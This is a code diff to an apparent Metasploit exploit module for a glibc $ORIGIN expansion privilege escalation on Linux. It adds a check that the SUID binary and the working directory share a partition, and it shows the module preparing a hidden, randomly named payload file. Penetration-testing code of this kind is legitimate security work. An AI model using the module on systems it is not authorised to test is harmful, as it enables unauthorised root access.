diff --git a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb index 28e4a38b76..98cdfee93c 100644 --- a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb @@ -130,6 +130,14 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::NotVulnerable, 'Target is not vulnerable' end + suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'" + base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'" + if suid_partition == base_partition + vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition" + else + print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition" + end + payload_name = ".#{rand_text_alphanumeric rand(5..10)}" payload_path = "#{base_dir}/#{payload_name}"